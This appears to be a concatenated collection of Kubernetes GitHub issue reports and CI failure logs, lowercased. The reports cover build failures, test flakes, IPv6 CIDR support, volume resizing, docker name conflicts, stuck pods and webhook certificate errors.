k8s.io/kubernetes/pkg/apis/rbac/v1alpha1,k8s.io/kubernetes/pkg/apis/storage,k8s.io/kubernetes/pkg/apis/storage/v1beta1,k8s.io/kubernetes/pkg/runtime --bounding-dirs k8s.io/kubernetes -o zz_generated.deepcopy i1010 03:18:58.278820   12374 parse.go:353  type checker error: /usr/local/go/src/runtime/trace.go:151:30: cannot use  tracebufheader literal   value of type tracebufheader  as unsafe.arbitrarytype value in argument to unsafe.sizeof i1010 03:18:58.279335   12374 parse.go:353  type checker error: /usr/local/go/src/runtime/trace.go:151:7: array length 64 << 10 - unsafe.sizeof  tracebufheader literal    value of type uintptr  must be constant i1010 03:18:58.279950   12374 parse.go:353  type checker error: /usr/local/go/src/runtime/mgcwork.go:269:37: cannot use  workbufhdr literal   value of type workbufhdr  as unsafe.arbitrarytype value in argument to unsafe.sizeof i1010 03:18:58.280808   12374 parse.go:353  type checker error: /usr/local/go/src/runtime/mgcwork.go:269:7: array length  _workbufsize - unsafe.sizeof  workbufhdr literal    / sys.ptrsize  value of type uintptr  must be constant i1010 03:18:58.281647   12374 parse.go:353  type checker error: /usr/local/go/src/runtime/chan.go:21:28: cannot use  hchan literal   value of type hchan  as unsafe.arbitrarytype value in argument to unsafe.sizeof ... ... ... ... ... ... i1010 03:19:04.129089   12374 deepcopy.go:428  generating for type k8s.io/kubernetes/pkg/apis/extensions/v1beta1.thirdpartyresourcedata i1010 03:19:04.130122   12374 deepcopy.go:428  generating for type k8s.io/kubernetes/pkg/apis/extensions/v1beta1.thirdpartyresourcedatalist i1010 03:19:04.131216   12374 deepcopy.go:428  generating for type k8s.io/kubernetes/pkg/apis/extensions/v1beta1.thirdpartyresourcelist i1010 03:19:04.206992   12374 execute.go:67  assembling file \ /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apis/extensions/v1beta1/zz_generated.deepcopy.go\  i1010 03:19:04.389768   12374 execute.go:214  processing package \ v1\ , disk location \ /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/v1\  i1010 03:19:04.442508   12374 deepcopy.go:376  registering types in pkg \ k8s.io/kubernetes/pkg/api/v1\  ./hack/run-in-gopath.sh: line 33: 12374 killed                  \ ${@}\  ++ kube::log::errexit ++ local err=137 ++ grep -qe '-o errexit' ++ set +o ++ set +o xtrace !!! error in ./hack/run-in-gopath.sh:33   '\ ${@}\ ' exited with status 137 call stack:   1: ./hack/run-in-gopath.sh:33 main ...  exiting with status 1 makefile.generated_files:216: recipe for target 'gen_deepcopy' failed make 1 :      gen_deepcopy  error 1 makefile:287: recipe for target 'generated_files' failed make:      generated_files  error 2 ++ kube::log::errexit ++ local err=2 ++ grep -qe '-o errexit' ++ set +o ++ set +o xtrace !!! error in ./build/../build/common.sh:587   '\ ${docker_cmd @ }\  \ ${cmd @ }\ ' exited with status 2 call stack:   1: ./build/../build/common.sh:587 kube::build::run_build_command_ex ...    2: ./build/../build/common.sh:522 kube::build::run_build_command ...    3: ./build/run.sh:30 main ...  exiting with status 1

kubelet has switched to using the cri implementation by default, so cri is the right abstraction for kubemark to use. this will also ensure all unnecessary functions in dockershim  e.g., creating checkpoint files  are properly mocked out.\r \r the cri fakes are currently in https://github.com/kubernetes/kubernetes/tree/v1.6.0-alpha.2/pkg/kubelet/api/testing\r it'll need some work to match what  fakedockerclient  does today, as well as some plumbing to use this in the hollow node.\r \r \r /cc @wojtek-t @gmarek @random-liu

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2353/ failed:  k8s.io  probing container should  not  be restarted with a /healthz http liveness probe  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:235 mar  5 04:12:19.025: pod e2e-tests-container-probe-5grq1/liveness-http - expected number of restarts: 0, found restarts: 1 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:404       previous issues for this test:  30335  30714

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : hexcidr and cidr\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : latest on master\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare-metal, 3 node config using kubeadm\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  : linux devstack-77 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r investigating the code, hexcidr   expects the cidr passed to be for an ipv4 address and doesn't support an ipv6 cidr.\r \r   what you expected to happen  :\r support either ipv4 or ipv6 cidrs.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r will be working on a solution for this. note: in some of the call paths, a podip string is used and passed in as a cidr with a \ /32\  appended. at some point, this would need to be updated as well, to use \ /128\  if an ipv6 podip was used.\r \r

is this a bug report or feature request?    choose one :\r   bug report  \r \r   kubernetes version    use  kubectl version  :\r 1.6.4\r \r   environment  :\r -   cloud provider or hardware configuration  :\r gke\r \r \r   what happened  :\r \r create pod using yaml:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: fun\r spec:\r   containers:\r   - name: fun\r     command:\r     - /bin/sh\r     - -c\r     - \ echo hehe > /var/haha/hehe; sleep 60000\ \r     image: nginx:1.12.0\r     volumemounts:\r     - mountpath: /var/haha\r       name: haha\r   restartpolicy: never\r   volumes:\r   - name: haha\r     emptydir: {}\r    \r do\r    \r $ kubectl create -f pod.yaml\r    \r then upgrade nginx image from 1.12.0 -> 1.13.1 .\r \r the nginix pod _failed_ to upgrade and its state becomes error.\r \r the result\r    \r $ kubectl get po -w\r name      ready     status              restarts   age\r fun       0/1       containercreating   0          2s\r fun       1/1       running   0         6s\r fun       1/1       running   0         2m\r fun       0/1       error     0         2m\r fun       0/1       error     0         2m\r    \r \r   what you expected to happen  :\r \r pod should endure upgrade and keep the same data in emptydir volume.\r \r

the  metaonly  https://github.com/kubernetes/kubernetes/tree/master/pkg/controller/garbagecollector/metaonly  garbage collector package intends to provide a  serializer.codecfactory  which works only with object metadata  as the gc only cares about object relationships, not object contents . this is important as an optimization  as object contents can vary wildly in size  and as a matter of generic semantics  the gc should work with any object regardless of its non-metadata structure .\r \r the current package is only capable of working with built-in types, and does not support instances of custom resource definition types. when the  gc supports custom resources  https://github.com/kubernetes/kubernetes/issues/44507 , the metaonly package should also support custom resources.\r \r  /cc @kubernetes/sig-api-machinery-feature-requests \r \r

the federation e2e tests are leaking resources:\r \r https://k8s-testgrid.appspot.com/release-master-blocking gce-federation\r \r  \r example failure\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/6500\r \r    \r w0829 20:01:18.305  listed 0 items.\r w0829 20:01:18.335  2017/08/29 20:01:18 util.go:134: step './cluster/gce/list-resources.sh' finished in 6.453862806s\r w0829 20:01:18.390  2017/08/29 20:01:18 util.go:132: running: diff -sw -u0 -f^\\ . \\ $ /workspace/_artifacts/gcp-resources-before.txt /workspace/_artifacts/gcp-resources-after.txt\r w0829 20:01:18.405  2017/08/29 20:01:18 util.go:134: step 'diff -sw -u0 -f^\\ . \\ $ /workspace/_artifacts/gcp-resources-before.txt /workspace/_artifacts/gcp-resources-after.txt' finished in 14.939762ms\r w0829 20:01:18.523  2017/08/29 20:01:18 main.go:210: saved xml output to /workspace/_artifacts/junit_runner.xml.\r w0829 20:01:18.562  2017/08/29 20:01:18 main.go:253: something went wrong: encountered 1 errors:  error: 1 leaked resources\r w0829 20:01:18.562    disks  \r w0829 20:01:18.562  +prow-us-central1-f-dyn-pvc-7fa9754f-8cf0-11e7-98b7-42010a80000a  us-central1-f  10       pd-standard  ready \r    \r \r cc @kubernetes/sig-federation-bugs @kubernetes/kubernetes-release-managers

\r \t\t// todo wlan0 : move this logic to the route controller using the node taint instead of condition\r \t\t// since there are node taints, do we still need this?\r \t\t// this condition marks the node as unusable until routes are initialized in the cloud provider\r    \r \r please see https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cloud/node_controller.go l330-l338\r

 \r   what happened  :\r \r i created an initializerconfiguration and set the  failurepolicy  to 'ignore'. upon creating a resource, kubectl logs the following message  if initialization fails :\r \r    \r error from server  timeout : error when creating \ test-manifest.yaml\ : timeout: request did not complete within allowed duration\r    \r \r   what you expected to happen  :\r \r i expected the error message returned to indicate that the resource was created anyway, despite initialisation failing. from the above message, it's easy to conclude that the resource  was not  created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create an initializerconfig with failurepolicy: ignore\r - attempt to create a resource matched by the previously created config, and don't run a controller to actually clear the  metadata.initializers.pending  field.\r - after 30s, the above error will be produced and the resource you attempted to create will exist in the api server\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ➜  examples git: master  ✗ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t05:56:53z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

resizing a persistent volume is partially broken on openstack  cinder  with k8s v1.11.1.\r partially in the sense that static resizing  requiring a pod restart  works, but the newly introduced online resizing  not requiring a pod restart  fails.\r \r upon resizing a pvc it remains in the resizing condition forever  see the warning event  until i delete the pod that has this pvc mounted:\r    \r kubectl describe pvc my-pvc\r \r name:          my-pvc\r namespace:     default\r storageclass:  default\r status:        bound\r volume:        pvc-f9a62b59-9109-11e8-bd53-2ea0478be355\r labels:        <none>\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/cinder\r finalizers:     kubernetes.io/pvc-protection \r capacity:      1gi\r access modes:  rwo\r conditions:\r   type       status  lastprobetime                     lasttransitiontime                reason  message\r   ----       ------  -----------------                 ------------------                ------  -------\r   resizing   true    mon, 01 jan 0001 00:00:00 +0000   thu, 26 jul 2018 21:32:38 +0200\r events:\r   type     reason                 age               from                         message\r   ----     ------                 ----              ----                         -------\r   normal   provisioningsucceeded  7m                persistentvolume-controller  successfully provisioned volume pvc-f9a62b59-9109-11e8-bd53-2ea0478be355 using kubernetes.io/cinder\r   warning  volumeresizefailed     32s  x3 over 2m   volume_expand                error expanding volume \ default/my-pvc\  of plugin kubernetes.io/cinder : volume status is not available\r    \r after pod deletion it notifies me  correctly  that it's now waiting for the pod to come up to finish resizing:\r    \r filesystemresizepending   true    mon, 01 jan 0001 00:00:00 +0000   thu, 26 jul 2018 22:03:02 +0200           waiting for user to  re- start a pod to finish file system resize of volume on node.\r    \r so far the warning event does not break the expandpersistentvolumes feature, as this one anyhow requires a pod restart.\r \r however it breaks the newly introduced expandinusepersistentvolumes feature  alpha with k8s v1.11; doesn't require a pod restart for resizing to finish , as the pvc will remain in \ resizing\  condition forever  or until the pod is restarted but this defeats the purpose of expandinusepersistentvolumes .\r \r i'm not sure whether this is fully related but upon digging around i found https://bugzilla.redhat.com/show_bug.cgi?id=1535314 and a consecutive fix with https://github.com/kubernetes/kubernetes/pull/58685 which was merged on jan 23.\r however a few days later this fix seems to be  probably accidentally  overwritten with this commit: https://github.com/kubernetes/kubernetes/commit/9326e845e48e2cc61f57094bd7561e37fb831ce5 diff-c6603a39b8f63223075a6ac640bd6ef9r235\r \r   

testgrid; https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce-master\r \r sample failure: \r \r the problem seems to be that kube-anywhere isn't working since commit  aae438e82\r \r    \r i1019 21:39:06.234  oct 19 21:39:06.234: info: failed to setup provide r config: the provider kubernetes-anywhere is unknown.\r    \r \r   / \r cc: @timothysc \r @kubernetes/sig-cluster-lifecycle

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r in-tree csi driver  returns attachment id  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_attacher.go l123  for  attach  method  similarly for  waitforattach  method \r \r   what you expected to happen  :\r it should return device path per  volume interface definition  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_attacher.go l123  \r \r   anything else we need to know?  :\r this affects csi migration where in-tree driver is migrated to csi while using old pv spec,  volumeattached  field on node will be shown as:\r    \r   volumesattached:\r   - devicepath: csi-b7a72fc7d19e2b8f44332833e726788c8afe1be897e6faaabd92cedc47a84cff\r     name: kubernetes.io/aws-ebs/vol-0eedee73dff51ca75\r    \r   environment  :\r - kubernetes version  use  kubectl version  : tested on leakingtapan:kubelet-migration-aws branch\r \r <!-- do not edit below this line -->\r 

i find the inconsistent with the getglobalmappath plugins/kubernetes.io/{pluginname}/{defaultkubeletvolumedevicesdirname}/{volumeplugindependentpath}/{pod uuid}  and csiblockmapper.getglobalmappath plugins/kubernetes.io/csi/volumedevices/{pvname}/dev . so when removing the symbolic links in unmapvolume, it is fault but not failed - a warning to this.\r    shell\r feb 26 01:47:51 tess-node-jmcdb-2701621 kubelet 6565 : w0226 01:47:51.207178    6565 volume_path_handler.go:126  warning: unmap skipped because symlink does not exist on the path: /var/mnt/kubelet/plugins/kubernetes.io/csi/volumedevices/pvc-40d1660938c011e9/dev/5b7761e7-398c-11e9-a0be-74dbd180a4b0

if an etcd watch ends \ normally\ , we still trigger a full relist: https://github.com/kubernetes/kubernetes/blob/master/pkg/client/cache/reflector.go l266  @bprashanth and i had a discussion on a tangentially related pr.. if this is a normal etcd server timeout, i think we should just restart the watch: https://github.com/kubernetes/kubernetes/pull/20637 discussion_r51896817

forked from  34289.\r \r in some cases, when docker  1.11.2  fails to create a container, it will not release the \ name\  associated with the container. kubelet can never create a container with the same name again. this phantom container cannot be listed or removed. the only way to release the name is to restart the docker daemon.\r \r    console\r $ sudo docker run --name=foo --security-opt=foo:bar busybox\r docker: error response from daemon: invalid --security-opt 2: \ foo:bar\ .\r see 'docker run --help'.\r $ sudo docker run --name=foo busybox\r docker: error response from daemon: conflict. the name \ /foo\  is already in use by container 3f7fae9d56619c67cf1baa85bab8e649ef344931ccae385b3cec809bf79fe829. you have to remove  or rename  that container to be able to reuse that name..\r see 'docker run --help'.\r $ sudo docker rm foo   \r error response from daemon: no such container: foo\r $ sudo docker rm 3f7fae9d56619c67cf1baa85bab8e649ef344931ccae385b3cec809bf79fe829 \r error response from daemon: no such container: 3f7fae9d56619c67cf1baa85bab8e649ef344931ccae385b3cec809bf79fe829\r    \r \r the  deferred cleanup function  https://github.com/docker/docker/blob/v1.11.2/daemon/create.go l75  relies on the container id lookup, but the id  not the name   hasn't been registered  https://github.com/docker/docker/blob/v1.11.2/daemon/create.go l92  at the time of the  failure  https://github.com/docker/docker/blob/v1.11.2/daemon/create.go l83-l90 . this relevant code was refactored in docker 1.12+ and the bug was fixed.\r \r pre-cri kubelet embeds a random string into the container name, so it'll always recover in this situation  i.e., no naming conflict . now kubelet uses deterministic names for containers, this become a problem. the container will never be created. @random-liu wrote a script to scan the kubelet-cri-serial build logs and found that about ~7% of the builds ran into this problem.\r \r we've discussed several fixes and decided to add a workaround in the  dockershim  package  note that it's not in kubelet because this is caused by a docker bug \r 1. create a container\r 2. if it fails due to naming conflict, try removing the container\r 3. if the removal request fails with a \ no such container\  response, try creating a container with a  _randomstring  suffix appended to the name.\r when parsing the name, dockershim will have to check if this suffix exists and trim them before returning to kubelet.\r \r /cc @dchen1107 @kubernetes/sig-node-bugs

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-test/1264/ failed: beforesuite {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:171 expected success, but got an error:     < errors.statuserror | 0xc4202eed00>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ operation cannot be fulfilled on namespaces \\\ e2e-tests-kubelet-w0zms\\\ : the system is ensuring all content is removed from this namespace.  upon completion, this namespace will automatically be purged by the system.\ ,             reason: \ conflict\ ,             details: {                 name: \ e2e-tests-kubelet-w0zms\ ,                 group: \ \ ,                 kind: \ namespaces\ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 409,         },     }     operation cannot be fulfilled on namespaces \ e2e-tests-kubelet-w0zms\ : the system is ensuring all content is removed from this namespace.  upon completion, this namespace will automatically be purged by the system. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:687       previous issues for this test:  26135  26236  27920  28492  29970  30075  32980  33313  33380  35444  37814  38204  38860  39786  40477  40687

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : unknown daemonset nodelost\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare-metal, 3 masters, 12 workers\r -   os    e.g. from /etc/os-release : container linux 1298.7.0\r -   kernel    e.g.  uname -a  : 4.9.16-coreos-r1\r -   install tools  : own scripts\r -   others  :\r \r \r   what happened  :\r \r    \r   kubectl delete -f manifests/canal-node.yaml\r error: error when stopping \ manifests/canal-node.yaml\ : timed out waiting for the condition\r    \r \r  canal-node.yaml  contains a daemonset: https://github.com/projectcalico/canal/blob/master/k8s-install/canal.yaml\r \r    \r   kubectl get pods\r ...\r canal-node-36b0t                            3/3       unknown            0          6d\r ...\r \r   kubectl describe pod/canal-node-36b0t\r status:                         terminating  expires thu, 13 apr 2017 19:14:34 +0200 \r termination grace period:       1s\r reason:                         nodelost\r message:                        node xxx which was running pod canal-node-36b0t is unresponsive\r \r   kubectl delete --now pod/canal-node-36b0t\r pod \ canal-node-36b0t\  deleted\r \r   kubectl get pods\r ...\r canal-node-36b0t                            3/3       unknown            0          6d\r ...\r    \r \r i cannot even recreate the daemonset - it will mention it needs 16 pods and has 1 running  for interesting definitions of \ running\ , apparently , but not run any additional pods.\r \r \r   what you expected to happen  :\r \r  canal-node-36b0t  should have been deleted when its node got lost. or when the daemonset was being deleted. at latest, it should have been deleted when i ran  kubectl delete --force --now .\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r run a daemonset, make the node fail, be stuck with a stale pod.  note that i did not actually try to reproduce this. \r \r   anything else we need to know  :\r \r please ask for anything that might be missing.

feature request\r \r we have a somewhat non-typical use of k8s. we aren't using scaling but we are deploying applications. we create multiple network interfaces for said apps in each pod  using custom cni module . we need to assign a fixed hostname in a given container based on which k8s cluster it is running on.\r \r since i have my own custom cni i tried setting tthe hostname there  nsenter --uts ; however, it doesn't take as cni is run on the \ pause\  container and the real container does not inherit the hostname from it. i even used the \ hostnamepath\  value from docker inspect to change the /etc/hostname value, but that too is ignored by the real container.\r \r i need a way to set this value, and we can't do it in the yaml for the deployment b/c that needs to be generic and work everywhere.\r \r i would love to hear of a way of doing this, so far though i haven't found one.\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-beta.0\ , gitcommit:\ e3db58e39a3ff1012efdf646c727278b82299c5e\ , gittreestate:\ clean\ , builddate:\ 2017-06-02t05:20:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-beta.0\ , gitcommit:\ e3db58e39a3ff1012efdf646c727278b82299c5e\ , gittreestate:\ clean\ , builddate:\ 2017-06-02t05:00:07z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r custom server environment.\r \r -   os    e.g. from /etc/os-release :\r version=\ 16.04.2 lts  xenial xerus \ \r \r -   kernel    e.g.  uname -a  :\r linux xxxx 4.10.0-22-generic  24~16.04.1-ubuntu smp tue may 23 17:03:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

\r   is this a bug report or feature request?  : bug report\r \r   what happened  : \r i have installed kubernetes with kubeadm on 2 vms running ubuntu 16.04. now i am trying to configure oidc with it. so i tried installing the k8s-oidc-helper package using go. but unfortunately there seems to be some issue and i cant run any commands with it. \r \r \r   what you expected to happen  :\r k8s-oidc-helper package should work and give the required parameters\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r sudo apt install golang-go\r go get github.com/micahhausler/k8s-oidc-helper\r k8s-oidc-helper --version\r k8s-oidc-helper: command not found\r \r \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.2\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : ubuntu 16.04lts\r - install tools: kubeadm\r

the allowedhostpaths feature limits what paths can be specified in a hostpath volume, but does not restrict symlink creation and traversal within that subpath\r \r to prevent this, either of the following are required:\r   limit hostpath use to read only volumes  in progress in https://github.com/kubernetes/kubernetes/pull/58647 \r   limit hostpath use to exact path matches\r \r until those changes are made, podsecuritypolicy objects designed to limit container permissions must completely disable hostpath volumes

 \r   what happened  :\r \r i have compiled and deployed the test admission webhook here: https://github.com/kubernetes/kubernetes/tree/master/test/images/webhook\r .. into my cluster.\r \r i've added a validatingwebhookconfiguration to my cluster intercepting namespace creation, just for initial testing:\r \r    yaml\r apiversion: admissionregistration.k8s.io/v1beta1\r kind: validatingwebhookconfiguration\r metadata:\r   name: admission\r webhooks:\r - name: pod.admission.cloud\r   rules:\r   - apigroups:\r     - \  \ \r     apiversions:\r     - \  \ \r     operations:\r     - \  \ \r     resources:\r     - namespaces\r   failurepolicy: fail\r   clientconfig:\r     cabundle: miidsjccajkgawibagiuwxmj40l+tdvjq98xy7c6leo3np8wdqyjkozihvcnaqelbqawptelmakga1uebhmcehgxcjaibgnvbagtaxgxcjaibgnvbactaxgxcjaibgnvbaotaxgxcjaibgnvbastaxgwhhcnmtgwmjaymtizodawwhcnmjmwmjaxmtizodawwja9mqswcqydvqqgewj4edekmagga1uecbmbedekmagga1uebxmbedekmagga1uechmbedekmagga1uecxmbedccasiwdqyjkozihvcnaqebbqadggepadccaqocggebanhkqomvf23kmxdazu2efux1h4wb09jinbb8x/hl7ue0kfjcnoovnnqb0grukuopiyczrzmfygwwmb/paekool+zii2umy6mcybdtoi4pom7u0tqqmv6l/5yfi65xrz3rtmd/tyaofi4aczbjagjxu6uwnydzty8e/cp6znlnbvhria6/whsowcxtwtxyp5yn9cf7ewqi1hobm4bwmoiyb1f6legqipzwmomppho3hsusbn0rk7jovst5xtlbgrrtxqajinjjuykwzif+llnzcioippgv5vkdgve83joacxvztuwza+mlu49fkw3bweqkbhrer8kacjfglw3ajn37eecaweaaancmeawdgydvr0paqh/baqdagegma8ga1udeweb/wqfmambaf8whqydvr0obbyefkxcb52bv6oqnd+d9ftnfhzl8iwxma0gcsqgsib3dqebcwuaa4ibaqadvkvv3ym0xaywkxplll3lc6sjyhdbtn0dondug7pxeb1dhuukj2lfufuyp2igsaxulectyeebyovp1gamb5lsigt2bvdmlmmkih29luhsvbyi85cpjo7a5rjg6aww2vbcidjz5v8jfm6pmkbrffxh+pwige65ce+mtsqcfb1/aiioq226p7e/3uugx4k4pdxg/o7gnvykf40v1db5y7ddbtq4jwijfygkt69tmdoglfamjwxujwyveey4qjex/egem5rqcmv9iy7tba1wk7sykngn5udelgpgiieaa5rihm1fufozzvoelaasws559wy8og39eq21ddmynb8bndn/\r     service:\r       name: admission\r       namespace: default\r    \r \r when trying to create a namespace, admission-control fails with pki-error  seen below , although the server cert is indeed signed with the certificate given in \ cabundle\ :\r \r > mar 14 11:45:15 control-plane-p01 kube-apiserver 25281 : w0314 11:45:15.177435   25281 admission.go:257  failed calling webhook, failing closed pod.admission.cloud: failed calling admission webhook \ pod.admission.cloud\ : post https://admission.default.svc:443/: x509: certificate signed by unknown authority\r \r admission webhook log:\r > 2018/03/14 11:48:42 http: tls handshake error from 172.20.32.11:33616: remote error: tls: bad certificate\r \r   what you expected to happen  :\r apiserver should see my x509-chain as valid.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create a self-signed ca-certificate\r   create and server certificate and sign it with your own ca-cert\r   deploy https://github.com/kubernetes/kubernetes/tree/master/test/images/webhook with server cert\r   add the ca-cert to the clientconfig.cabundle of the validatingwebhookconfiguration\r   try requesting a change that triggers the admission controller\r \r   anything else we need to know?  :\r \r checking the cert chain with openssl s_client works fine:\r \r > openssl s_client -connect admission.default.svc:443 -cafile ca.pem\r > ...\r > verify return code: 0  ok \r \r .. by the way.. shouldn't i be able to add multiple certificates to the cabundle? if yes, how?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r > client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > \r > server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ archive\ , builddate:\ 1970-01-01t00:00:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r \r self hosted. kubernetes build from source on nix 17.09.\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r > linux container-p01 4.15.7  1-nixos smp wed feb 28 09:21:39 utc 2018 x86_64 gnu/linux\r - install tools:\r - others:\r > go version go1.9.2 linux/amd64

\r is there a simple way to curl the sha of the kubernetes.tar.gz?  \r \r examples of simplicity:\r https://github.com/joyent/containerpilot/releases \r https://releases.hashicorp.com/consul/1.0.7/\r

  \r https://github.com/kubernetes/kubernetes/pull/64630 introduced a bug returning status code 200 for operations that may have resulted in an error.

from https://github.com/kubernetes/kubernetes/pull/19436 issuecomment-172982445, it's possible that after a reboot test, some pods  especially mirror pods  have deletiontimestamp set due to pod eviction. the tests should check if the pod spec is unmodified after rebooting to catch such scenarios. failure to do so breaks the test isolation and leaves changes that may fail other tests.

we currently remount the master pd every boot, as part of the gce instance-boot script.  i'm wondering if this is safe: if we have services that start concurrently, should we put the master-pd into /etc/fstab instead?  i think we'll have to do this on aws, in any case.

running a command like this  docker rmi  docker images -q --filter dangling=true   will cause the node to stop reporting status.  the master will think that the node has died and will eventually start evicting all the pods.   this is happening even though the node is healthy.

